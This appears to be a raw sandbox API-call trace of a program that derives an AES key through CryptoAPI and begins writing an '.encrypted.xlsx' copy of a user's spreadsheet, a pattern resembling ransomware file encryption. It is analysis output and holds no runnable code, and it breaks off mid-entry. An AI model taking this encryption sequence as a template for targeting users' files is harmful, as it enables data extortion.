PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.098] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.098] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.099] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.099] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.099] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.099] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.099] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.099] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.100] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.100] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.100] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.100] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.100] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.100] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.100] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.101] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.101] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.101] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.101] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.101] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.101] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.101] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.102] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.102] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.102] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.102] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.102] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.102] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.102] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.102] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b840, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.102] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.102] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.102] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.102] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0025.102] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.103] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.103] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.103] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.103] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.103] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.103] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.103] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.103] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0025.104] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.104] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.105] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\-nterrdy.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.105] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.105] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.105] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.105] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7")) returned 0x10 [0025.105] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.encrypted.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\-nterrdy.encrypted.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.107] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.107] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.108] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x8de4, lpOverlapped=0x0) returned 1 [0025.109] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.111] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.111] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.111] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.111] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.113] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.113] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.113] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.113] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.113] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.114] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.114] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.114] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.114] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.139] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.139] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f4064b40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.139] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.139] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.139] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.139] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.139] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.139] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.139] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.139] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.139] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.140] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.140] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.140] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.140] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.140] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.140] 